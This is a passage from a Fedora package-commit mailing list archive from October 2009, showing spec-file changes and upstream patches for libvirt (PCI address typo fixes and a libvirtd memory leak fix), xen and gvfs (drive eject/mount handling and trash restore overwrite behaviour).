 1 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/qemud/dispatch.c b/qemud/dispatch.c
index a60f2f4..ddb3215 100644
--- a/qemud/dispatch.c
+++ b/qemud/dispatch.c
@@ -191,6 +191,7 @@ remoteSerializeError(struct qemud_client *client,
 
 xdr_error:
     xdr_destroy(&xdr);
+    VIR_FREE(msg);
 fatal_error:
     xdr_free((xdrproc_t)xdr_remote_error,  (char *)rerr);
     return -1;
@@ -336,6 +337,7 @@ remoteDispatchClientRequest (struct qemud_server *server,
                              struct qemud_client *client,
                              struct qemud_client_message *msg)
 {
+    int ret;
     remote_error rerr;
 
     memset(&rerr, 0, sizeof rerr);
@@ -364,7 +366,12 @@ remoteDispatchClientRequest (struct qemud_server *server,
     }
 
 error:
-    return remoteSerializeReplyError(client, &rerr, &msg->hdr);
+    ret = remoteSerializeReplyError(client, &rerr, &msg->hdr);
+
+    if (ret >= 0)
+        VIR_FREE(msg);
+
+    return ret;
 }
 
 
@@ -521,8 +528,12 @@ remoteDispatchClientCall (struct qemud_server *server,
 rpc_error:
     /* Semi-bad stuff happened, we can still try to send back
      * an RPC error message to client */
-    return remoteSerializeReplyError(client, &rerr, &msg->hdr);
+    rv = remoteSerializeReplyError(client, &rerr, &msg->hdr);
+
+    if (rv >= 0)
+        VIR_FREE(msg);
 
+    return rv;
 
 xdr_error:
     /* Seriously bad stuff happened, so we'll kill off this client
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.188
retrieving revision 1.189
diff -u -p -r1.188 -r1.189
--- libvirt.spec	6 Oct 2009 12:48:58 -0000	1.188
+++ libvirt.spec	9 Oct 2009 14:53:49 -0000	1.189
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 10%{?dist}%{?extra_release}
+Release: 11%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -179,6 +179,14 @@ Patch07: libvirt-svirt-relabel-qcow2-bac
 Patch08: libvirt-change-logrotate-config-to-weekly.patch
 Patch09: libvirt-logrotate-create-lxc-uml-dirs.patch
 
+# Add several PCI hot-unplug typo fixes from upstream
+Patch10: libvirt-fix-device-detach-typo1.patch
+Patch11: libvirt-fix-device-detach-typo2.patch
+Patch12: libvirt-fix-device-detach-typo3.patch
+
+# Fix libvirtd memory leak during error reply sending (#528162)
+Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -403,6 +411,10 @@ of recent versions of Linux (and other O
 %patch07 -p1
 %patch08 -p1
 %patch09 -p1
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+%patch13 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -797,6 +809,10 @@ fi
 %endif
 
 %changelog
+* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
+- Fix libvirtd memory leak during error reply sending (#528162)
+- Add several PCI hot-unplug typo fixes from upstream
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
 - Create /var/log/libvirt/{lxc,uml} dirs for logrotate
 - Make libvirt-python dependon on libvirt-client



From jforbes at fedoraproject.org  Fri Oct  9 14:54:56 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Fri,  9 Oct 2009 14:54:56 +0000 (UTC)
Subject: rpms/xen/F-11 xen.spec,1.237,1.238
Message-ID: <20091009145456.C3DDB11C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/xen/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23960

Modified Files:
	xen.spec 
Log Message:
Add PyXML to dependencies and take ownership of {_libdir}/fs


Index: xen.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xen/F-11/xen.spec,v
retrieving revision 1.237
retrieving revision 1.238
diff -u -p -r1.237 -r1.238
--- xen.spec	27 May 2009 20:05:57 -0000	1.237
+++ xen.spec	9 Oct 2009 14:54:56 -0000	1.238
@@ -6,7 +6,7 @@
 Summary: Xen is a virtual machine monitor
 Name:    xen
 Version: 3.4.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 Group:   Development/Libraries
 License: GPLv2+ and LGPLv2+ and BSD
 URL:     http://xen.org/
@@ -58,6 +58,7 @@ BuildRequires: openssl-devel
 # For ioemu PCI passthrough
 BuildRequires: pciutils-devel
 Requires: bridge-utils
+Requires: PyXML
 Requires: udev >= 059
 Requires: xen-runtime = %{version}-%{release}
 # Not strictly a dependency, but kpartx is by far the most useful tool right
@@ -321,7 +322,7 @@ rm -rf %{buildroot}
 %files libs
 %defattr(-,root,root)
 %{_libdir}/*.so.*
-%{_libdir}/fs/*
+%{_libdir}/fs
 
 # All runtime stuff except for XenD/xm python stuff
 %files runtime
@@ -449,6 +450,10 @@ rm -rf %{buildroot}
 %{_libdir}/*.a
 
 %changelog
+* Fri Oct 8 2009 Justin M. Forbes <jforbes at redhat.com> - 3.4.0-2
+- add PyXML to dependencies. (#496135)
+- Take ownership of {_libdir}/fs (#521806)
+
 * Wed May 27 2009 Gerd Hoffmann <kraxel at redhat.com> - 3.4.0-1
 - update to version 3.4.0.
 - cleanup specfile, add doc subpackage.



From markmc at fedoraproject.org  Fri Oct  9 14:55:29 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Fri,  9 Oct 2009 14:55:29 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-fix-device-detach-typo1.patch, NONE,
	1.1 libvirt-fix-device-detach-typo2.patch, NONE,
	1.1 libvirt-fix-device-detach-typo3.patch, NONE,
	1.1 libvirt-fix-libvirtd-leak-in-error-reply.patch, NONE,
	1.1 libvirt.spec, 1.188, 1.189
Message-ID: <20091009145529.5CD2711C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24102

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-device-detach-typo1.patch 
	libvirt-fix-device-detach-typo2.patch 
	libvirt-fix-device-detach-typo3.patch 
	libvirt-fix-libvirtd-leak-in-error-reply.patch 
Log Message:
* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
- Fix libvirtd memory leak during error reply sending (#528162)
- Add several PCI hot-unplug typo fixes from upstream


libvirt-fix-device-detach-typo1.patch:
 domain_conf.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo1.patch ---
>From 58c38896a67c170063401d8091bae7dca8842923 Mon Sep 17 00:00:00 2001
From: Jiri Denemark <jdenemar at redhat.com>
Date: Wed, 23 Sep 2009 18:46:23 +0200
Subject: [PATCH] Fix a typo in virDiskHasValidPciAddr()

(cherry-picked from commit 3620e3cdcfe56cc4475b5ef1a0a893757240b795)

Signed-off-by: Jiri Denemark <jdenemar at redhat.com>
Fedora-patch: libvirt-fix-device-detach-typo1.patch
---
 src/domain_conf.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/domain_conf.h b/src/domain_conf.h
index 09368d9..d494e54 100644
--- a/src/domain_conf.h
+++ b/src/domain_conf.h
@@ -125,7 +125,7 @@ struct _virDomainDiskDef {
 static inline int
 virDiskHasValidPciAddr(virDomainDiskDefPtr def)
 {
-    return def->pci_addr.domain || def->pci_addr.domain || def->pci_addr.slot;
+    return def->pci_addr.domain || def->pci_addr.bus || def->pci_addr.slot;
 }
 
 
-- 
1.6.2.5


libvirt-fix-device-detach-typo2.patch:
 domain_conf.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo2.patch ---
>From 81e967c716ce8c085be8baad9169f7772452d187 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 24 Sep 2009 08:55:55 +0100
Subject: [PATCH] Fix a typo in virNetHasValidPciAddr() too

* src/domain_conf.h: check domain/bus/slot, not domain/domain/slot

(cherry-picked from commit 6bfffce91635bb08de601747e94ed1182c0f47eb)

Fedora-patch: libvirt-fix-device-detach-typo2.patch
---
 src/domain_conf.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/domain_conf.h b/src/domain_conf.h
index d494e54..7c918a7 100644
--- a/src/domain_conf.h
+++ b/src/domain_conf.h
@@ -207,7 +207,7 @@ struct _virDomainNetDef {
 static inline int
 virNetHasValidPciAddr(virDomainNetDefPtr def)
 {
-    return def->pci_addr.domain || def->pci_addr.domain || def->pci_addr.slot;
+    return def->pci_addr.domain || def->pci_addr.bus || def->pci_addr.slot;
 }
 
 enum virDomainChrSrcType {
-- 
1.6.2.5


libvirt-fix-device-detach-typo3.patch:
 qemu_driver.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo3.patch ---
>From 3a64779ec5a89d38d64e07bca2b11b19e1882d7a Mon Sep 17 00:00:00 2001
From: Charles Duffy <charles at dyfis.net>
Date: Thu, 24 Sep 2009 09:00:24 +0100
Subject: [PATCH] Fix unitialized variable in qemudDomainDetachHostPciDevice()

* src/qemu_driver.c: initialize detach var

(cherry-picked from commit 580ad29288751234bee47ac9f6c04dac1dc529ea)

Fedora-patch: libvirt-fix-device-detach-typo3.patch
---
 src/qemu_driver.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 7c7b985..550a59c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -6126,7 +6126,7 @@ static int qemudDomainDetachHostPciDevice(virConnectPtr conn,
                                           virDomainObjPtr vm,
                                           virDomainDeviceDefPtr dev)
 {
-    virDomainHostdevDefPtr detach;
+    virDomainHostdevDefPtr detach = NULL;
     char *cmd, *reply;
     int i, ret;
     pciDevice *pci;
-- 
1.6.2.5


libvirt-fix-libvirtd-leak-in-error-reply.patch:
 dispatch.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

--- NEW FILE libvirt-fix-libvirtd-leak-in-error-reply.patch ---
>From 71de8d92f20a9a9ee76d4d5df77ff477f1b7d441 Mon Sep 17 00:00:00 2001
From: Matthias Bolte <matthias.bolte at googlemail.com>
Date: Wed, 30 Sep 2009 02:17:27 +0200
Subject: [PATCH] Fix memory leaks in libvirtd's message processing

Commit 47cab734995fa9521b1df05d37e9978eedd8d3a2 changed the way how
qemud_client_message objects were reused. Before this commit
remoteDispatchClientRequest() reused the received message for normal responses
and to report non-fatal errors. If a fatal error occurred qemudWorker() frees
the message. After this commit non-fatal errors are reported by
remoteSerializeReplyError() using a new qemud_client_message object and the
original message leaks.

To fix this leak the original message has to be freed if
remoteSerializeReplyError() succeeds. If remoteSerializeReplyError()
fails the original message is freed in qemudWorker().

* daemon/dispatch.c: free qemud_client_message objects that will not be reused
  and would leak otherwise, also free the allocated qemud_client_message object
  in remoteSerializeError() if an error occurs

(cherry-picked from commit c6f1459eb998619ab21a92d9bb87341f26978181)

Fedora-patch: libvirt-fix-libvirtd-leak-in-error-reply.patch
---
 qemud/dispatch.c |   15 +++++++++++++--
 1 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/qemud/dispatch.c b/qemud/dispatch.c
index a60f2f4..ddb3215 100644
--- a/qemud/dispatch.c
+++ b/qemud/dispatch.c
@@ -191,6 +191,7 @@ remoteSerializeError(struct qemud_client *client,
 
 xdr_error:
     xdr_destroy(&xdr);
+    VIR_FREE(msg);
 fatal_error:
     xdr_free((xdrproc_t)xdr_remote_error,  (char *)rerr);
     return -1;
@@ -336,6 +337,7 @@ remoteDispatchClientRequest (struct qemud_server *server,
                              struct qemud_client *client,
                              struct qemud_client_message *msg)
 {
+    int ret;
     remote_error rerr;
 
     memset(&rerr, 0, sizeof rerr);
@@ -364,7 +366,12 @@ remoteDispatchClientRequest (struct qemud_server *server,
     }
 
 error:
-    return remoteSerializeReplyError(client, &rerr, &msg->hdr);
+    ret = remoteSerializeReplyError(client, &rerr, &msg->hdr);
+
+    if (ret >= 0)
+        VIR_FREE(msg);
+
+    return ret;
 }
 
 
@@ -521,8 +528,12 @@ remoteDispatchClientCall (struct qemud_server *server,
 rpc_error:
     /* Semi-bad stuff happened, we can still try to send back
      * an RPC error message to client */
-    return remoteSerializeReplyError(client, &rerr, &msg->hdr);
+    rv = remoteSerializeReplyError(client, &rerr, &msg->hdr);
+
+    if (rv >= 0)
+        VIR_FREE(msg);
 
+    return rv;
 
 xdr_error:
     /* Seriously bad stuff happened, so we'll kill off this client
-- 
1.6.2.5



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.188
retrieving revision 1.189
diff -u -p -r1.188 -r1.189
--- libvirt.spec	6 Oct 2009 12:42:16 -0000	1.188
+++ libvirt.spec	9 Oct 2009 14:55:29 -0000	1.189
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 10%{?dist}%{?extra_release}
+Release: 11%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -179,6 +179,14 @@ Patch07: libvirt-svirt-relabel-qcow2-bac
 Patch08: libvirt-change-logrotate-config-to-weekly.patch
 Patch09: libvirt-logrotate-create-lxc-uml-dirs.patch
 
+# Add several PCI hot-unplug typo fixes from upstream
+Patch10: libvirt-fix-device-detach-typo1.patch
+Patch11: libvirt-fix-device-detach-typo2.patch
+Patch12: libvirt-fix-device-detach-typo3.patch
+
+# Fix libvirtd memory leak during error reply sending (#528162)
+Patch13: libvirt-fix-libvirtd-leak-in-error-reply.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 URL: http://libvirt.org/
 BuildRequires: python-devel
@@ -403,6 +411,10 @@ of recent versions of Linux (and other O
 %patch07 -p1
 %patch08 -p1
 %patch09 -p1
+%patch10 -p1
+%patch11 -p1
+%patch12 -p1
+%patch13 -p1
 
 %build
 # Needed for libvirt-logrotate-create-lxc-uml-dirs.patch
@@ -797,6 +809,10 @@ fi
 %endif
 
 %changelog
+* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
+- Fix libvirtd memory leak during error reply sending (#528162)
+- Add several PCI hot-unplug typo fixes from upstream
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-10
 - Create /var/log/libvirt/{lxc,uml} dirs for logrotate
 - Make libvirt-python dependon on libvirt-client



From jforbes at fedoraproject.org  Fri Oct  9 14:55:39 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Fri,  9 Oct 2009 14:55:39 +0000 (UTC)
Subject: rpms/xen/devel xen.spec,1.249,1.250
Message-ID: <20091009145539.4CC1E11C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/xen/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24059

Modified Files:
	xen.spec 
Log Message:
Bump release


Index: xen.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xen/devel/xen.spec,v
retrieving revision 1.249
retrieving revision 1.250
diff -u -p -r1.249 -r1.250
--- xen.spec	9 Oct 2009 14:51:07 -0000	1.249
+++ xen.spec	9 Oct 2009 14:55:39 -0000	1.250
@@ -6,7 +6,7 @@
 Summary: Xen is a virtual machine monitor
 Name:    xen
 Version: 3.4.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 Group:   Development/Libraries
 License: GPLv2+ and LGPLv2+ and BSD
 URL:     http://xen.org/



From tbzatek at fedoraproject.org  Fri Oct  9 14:59:19 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Fri,  9 Oct 2009 14:59:19 +0000 (UTC)
Subject: rpms/gvfs/F-12 0001-Disallow-mounting-empty-drives.patch, NONE,
	1.1 0002-Disallow-ejecting-empty-drives.patch, NONE,
	1.1 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch, 
	NONE, 1.1 gvfs-1.4.1-no-poll-for-media.patch, NONE,
	1.1 gvfs-1.4.1-separate-eject-safely-remove-drive.patch, NONE,
	1.1 gvfs-1.4.1-trash-dont-overwrite.patch, NONE, 1.1 gvfs.spec,
	1.160, 1.161
Message-ID: <20091009145919.45F2B11C00C1@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25303

Modified Files:
	gvfs.spec 
Added Files:
	0001-Disallow-mounting-empty-drives.patch 
	0002-Disallow-ejecting-empty-drives.patch 
	0003-Silently-drop-eject-error-messages-when-detaching-dr.patch 
	gvfs-1.4.1-no-poll-for-media.patch 
	gvfs-1.4.1-separate-eject-safely-remove-drive.patch 
	gvfs-1.4.1-trash-dont-overwrite.patch 
Log Message:
* Fri Oct  9 2009 Tomas Bzatek <tbzatek at redhat.com> - 1.4.0-5
- Don't always overwrite on trash restore
- Separate "Safely Remove Drive" from "Eject"
- Don't advertise can_poll for drives not using removable media
- Disallow mounting empty drives
- Disallow ejecting empty drives
- Silently drop eject error messages when detaching drive


0001-Disallow-mounting-empty-drives.patch:
 gvfsbackendcomputer.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0001-Disallow-mounting-empty-drives.patch ---
>From a0c8d67cfea614c8c920af7c4ce2d90e4ce7256f Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:05:44 +0200
Subject: [PATCH 1/3] Disallow mounting empty drives

This concerns only removable media drives without any detected volumes.
The end result is no Mount item in Nautilus popup menu and no action taken
on double-click over the drive icon.

The exception is floppy drives, where we always allow mount without need
to detecting media manually first.
---
 daemon/gvfsbackendcomputer.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/daemon/gvfsbackendcomputer.c b/daemon/gvfsbackendcomputer.c
index 4f4b9ca..59eadba 100644
--- a/daemon/gvfsbackendcomputer.c
+++ b/daemon/gvfsbackendcomputer.c
@@ -473,7 +473,7 @@ recompute_files (GVfsBackendComputer *backend)
           file->icon = g_drive_get_icon (file->drive);
           file->display_name = g_drive_get_name (file->drive);
           file->can_eject = g_drive_can_eject (file->drive);
-          file->can_mount = TRUE;
+          file->can_mount = ! g_drive_is_media_removable (file->drive) || ! g_drive_is_media_check_automatic (file->drive) || g_drive_has_media (file->drive);
         }
 
       if (file->drive)
-- 
1.6.5.rc2


0002-Disallow-ejecting-empty-drives.patch:
 ggdudrive.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE 0002-Disallow-ejecting-empty-drives.patch ---
>From bef30fdc1cb0986326eac9acd7b5125cd8f4b61c Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:21:51 +0200
Subject: [PATCH 2/3] Disallow ejecting empty drives

Similar to previous commit, hide the Eject menu item when drive has no media.
---
 monitor/gdu/ggdudrive.c |    3 ++-
 1 files changed, 2 insertions(+), 1 deletions(-)

diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index b99ef6e..3509382 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -188,7 +188,8 @@ update_drive (GGduDrive *drive)
        *
        * See also below where we e.g. set can_eject to TRUE for non-removable drives.
        */
-      drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
+      drive->can_eject = ((gdu_device_drive_get_is_media_ejectable (device) || gdu_device_is_removable (device)) && gdu_device_is_media_available (device)) ||
+                           gdu_device_drive_get_requires_eject (device);
       drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
       drive->can_poll_for_media = gdu_device_is_removable (device);
     }
-- 
1.6.5.rc2


0003-Silently-drop-eject-error-messages-when-detaching-dr.patch:
 ggdudrive.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

--- NEW FILE 0003-Silently-drop-eject-error-messages-when-detaching-dr.patch ---
>From 6d7f1a8a842376be8f72cc1fc90fc3101e9752a3 Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Fri, 2 Oct 2009 15:35:41 +0200
Subject: [PATCH 3/3] Silently drop eject error messages when detaching drive

If there's no media in drive and yet it's marked as detachable,
calling eject would cause "no media in drive" error.
This is the case with my USB SD card reader.
---
 monitor/gdu/ggdudrive.c |   15 +++++++++++++--
 1 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index 3509382..eb70d75 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -648,6 +648,18 @@ eject_cb (GduDevice *device,
 {
   GSimpleAsyncResult *simple = G_SIMPLE_ASYNC_RESULT (user_data);
   GGduDrive *drive;
+  gboolean drive_detachable;
+
+  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
+  drive_detachable = drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN;
+
+  if (error != NULL && error->code == G_IO_ERROR_FAILED && 
+      drive_detachable && ! drive->has_media && drive->is_media_removable)
+    {
+      /* Silently drop the error if there's no media in drive and we're still trying to detach it (see below) */
+      g_error_free (error);
+      error = NULL;
+    }
 
   if (error != NULL)
     {
@@ -658,8 +670,7 @@ eject_cb (GduDevice *device,
       goto out;
     }
 
-  drive = G_GDU_DRIVE (g_async_result_get_source_object (G_ASYNC_RESULT (simple)));
-  if (drive->can_stop == FALSE && drive->start_stop_type == G_DRIVE_START_STOP_TYPE_SHUTDOWN)
+  if (drive_detachable)
     {
       /* If device is not ejectable but it is detachable and we don't support stop(),
        * then also run Detach() after Eject() - see update_drive() for details for why...
-- 
1.6.5.rc2


gvfs-1.4.1-no-poll-for-media.patch:
 ggdudrive.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE gvfs-1.4.1-no-poll-for-media.patch ---
>From 780bae9c28df7e6d5f2463d9621f7db48524ee24 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Fri, 09 Oct 2009 00:26:11 +0000
Subject: Fix return value of gdu_drive_can_poll_for_media()

If a drive doesn't use removable media, we shouldn't advertise that it
can be polled.
---
diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index 9920829..20f8940 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -190,7 +190,7 @@ update_drive (GGduDrive *drive)
        */
       drive->can_eject = gdu_device_drive_get_is_media_ejectable (device) || gdu_device_drive_get_requires_eject (device) || gdu_device_is_removable (device);
       drive->is_media_check_automatic = gdu_device_is_media_change_detected (device);
-      drive->can_poll_for_media = TRUE;
+      drive->can_poll_for_media = gdu_device_is_removable (device);
     }
 
   /* determine start/stop type */
--
cgit v0.8.2

gvfs-1.4.1-separate-eject-safely-remove-drive.patch:
 ggdudrive.c |   53 ++++++++++++++++++++++-------------------------------
 1 file changed, 22 insertions(+), 31 deletions(-)

--- NEW FILE gvfs-1.4.1-separate-eject-safely-remove-drive.patch ---
>From 92bd6869f22bbe582f51f4ffca4d71f65ef9d6a6 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Fri, 09 Oct 2009 00:20:27 +0000
Subject: Bug 597864 ?  Need to separate "Safely Remove Drive" from "Eject"

Some systems use internal USB devices. Automatically detaching such
drives when calling gdu_drive_eject() (triggered by e.g. the eject
button in the Nautilus sidebar) as we do right now leads to loss of
the drive until reboot (since the device is internal). The only viable
option right now is to separate "Safely Remove Drive" and "Eject".

If we gain infrastructure to let us know with 100% accuracy that a
given receptacle is external we can go back to the previous behavior.

See http://bugs.freedesktop.org/show_bug.cgi?id=24343 for details.
---
diff --git a/monitor/gdu/ggdudrive.c b/monitor/gdu/ggdudrive.c
index b99ef6e..9920829 100644
--- a/monitor/gdu/ggdudrive.c
+++ b/monitor/gdu/ggdudrive.c
@@ -212,39 +212,31 @@ update_drive (GGduDrive *drive)
     }
   else if (device != NULL && gdu_device_drive_get_can_detach (device))
     {
-      /* If the device is not ejectable, just detach on Eject() and claim to be ejectable.
+      /* Ideally, for non-ejectable devices (e.g. non-cdrom, non-zip)
+       * such as USB sticks we'd display "Eject" instead of "Shutdown"
+       * since it is more familiar and the common case. The way this
+       * should work is that after the Eject() method returns we call
+       * Detach() - see eject_cb() below.
        *
-       * This is so we get the UI to display "Eject" instead of "Shutdown" since it is
-       * more familiar and the common case. The way this works is that after the Eject()
-       * method returns we call Detach() - see eject_cb() below.
+       * (Note that it's not enough to just call Detach() since some
+       * devices, such as the Kindle, only works with Eject(). So we
+       * call them both in order).
        *
-       * (Note that it's not enough to just call Detach() since some devices, such as
-       * the Kindle, only works with Eject(). So we call them both in order)
+       * We actually used to do this (and that's why eject_cb() still
+       * has this code) but some systems use internal USB devices for
+       * e.g. SD card readers. If we were to detach these then the
+       * user would have to power-cycle the system to get the device
+       * back. See http://bugs.freedesktop.org/show_bug.cgi?id=24343
+       * for more details.
+       *
+       * In the future, if we know for sure that a port is external
+       * (like, from DMI data) we can go back to doing this. For now
+       * the user will get all the options...
        */
-      if (!gdu_device_drive_get_is_media_ejectable (device))
-        {
-          drive->can_eject = TRUE;
-          /* we still set this since
-           *
-           * a) it helps when debugging things using gvfs-mount(1) output
-           *    since the tool will print can_stop=0 but start_stop_type=shutdown
-           *
-           * b) we use it in eject_cb() to determine we need to call Detach()
-           *    after Eject() successfully completes
-           */
-          drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
-        }
-      else
-        {
-          /* So here the device is ejectable and detachable - for example, a USB CD-ROM
-           * drive or a CD-ROM drive in an Ultrabay - for these, we want to offer both
-           * "Eject" and "Shutdown" options in the UI
-           */
-          drive->can_stop = TRUE;
-          drive->can_start = FALSE;
-          drive->can_start_degraded = FALSE;
-          drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
-        }
+      drive->can_stop = TRUE;
+      drive->can_start = FALSE;
+      drive->can_start_degraded = FALSE;
+      drive->start_stop_type = G_DRIVE_START_STOP_TYPE_SHUTDOWN;
     }
 
   if (device != NULL)
--
cgit v0.8.2

gvfs-1.4.1-trash-dont-overwrite.patch:
 gvfsbackendtrash.c   |    2 +-
 trashlib/trashitem.c |    8 +++++---
 trashlib/trashitem.h |    2 +-
 3 files changed, 7 insertions(+), 5 deletions(-)

--- NEW FILE gvfs-1.4.1-trash-dont-overwrite.patch ---
>From 0b09cc8e57bc5fa701dd685d648fd338b92b2c48 Mon Sep 17 00:00:00 2001
From: Alexander Larsson <alexl at redhat.com>
Date: Thu, 08 Oct 2009 13:11:10 +0000
Subject: Don't always overwrite on trash restore

We want to get overwrite dialogs when restoring from trash.

https://bugzilla.gnome.org/show_bug.cgi?id=596618
---
diff --git a/daemon/gvfsbackendtrash.c b/daemon/gvfsbackendtrash.c
index 166bd04..e515fb8 100644
--- a/daemon/gvfsbackendtrash.c
+++ b/daemon/gvfsbackendtrash.c
@@ -447,7 +447,7 @@ trash_backend_pull (GVfsBackend           *vfs_backend,
               destination = g_file_new_for_path (local_path);
 
               if (remove_source)
-                it_worked = trash_item_restore (item, destination, &error);
+                it_worked = trash_item_restore (item, destination, flags, &error);
               else
                 it_worked = g_file_copy (real, destination, flags, 
                                          G_VFS_JOB (job)->cancellable, 
diff --git a/daemon/trashlib/trashitem.c b/daemon/trashlib/trashitem.c
index 335e8d4..bcfc301 100644
--- a/daemon/trashlib/trashitem.c
+++ b/daemon/trashlib/trashitem.c
@@ -486,7 +486,9 @@ trash_item_delete (TrashItem  *item,
       temp_name = g_file_get_child (expunged, buffer);
 
       /* "restore" the item into the expunged folder */
-      if (trash_item_restore (item, temp_name, NULL))
+      if (trash_item_restore (item, temp_name,
+			      G_FILE_COPY_OVERWRITE | G_FILE_COPY_NOFOLLOW_SYMLINKS,
+			      NULL))
         {
           trash_expunge (expunged);
           success = TRUE;
@@ -507,11 +509,11 @@ trash_item_delete (TrashItem  *item,
 gboolean
 trash_item_restore (TrashItem  *item,
                     GFile      *dest,
+		    GFileCopyFlags flags,
                     GError    **error)
 {
   if (g_file_move (item->file, dest,
-                   G_FILE_COPY_OVERWRITE |
-                   G_FILE_COPY_NOFOLLOW_SYMLINKS |
+		   flags |
                    G_FILE_COPY_NO_FALLBACK_FOR_MOVE,
                    NULL, NULL, NULL, error))
     {
diff --git a/daemon/trashlib/trashitem.h b/daemon/trashlib/trashitem.h
index 0fe0938..ad78202 100644
--- a/daemon/trashlib/trashitem.h
+++ b/daemon/trashlib/trashitem.h
@@ -54,6 +54,7 @@ gboolean        trash_item_delete            (TrashItem          *item,
                                               GError            **error);
 gboolean        trash_item_restore           (TrashItem          *item,
                                               GFile              *dest,
+					      GFileCopyFlags      flags,
                                               GError            **error);
 
 #endif /* _trashitem_h_ */
--
cgit v0.8.2


Index: gvfs.spec
===================================================================
RCS file: /cvs/extras/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.160
retrieving revision 1.161
diff -u -p -r1.160 -r1.161
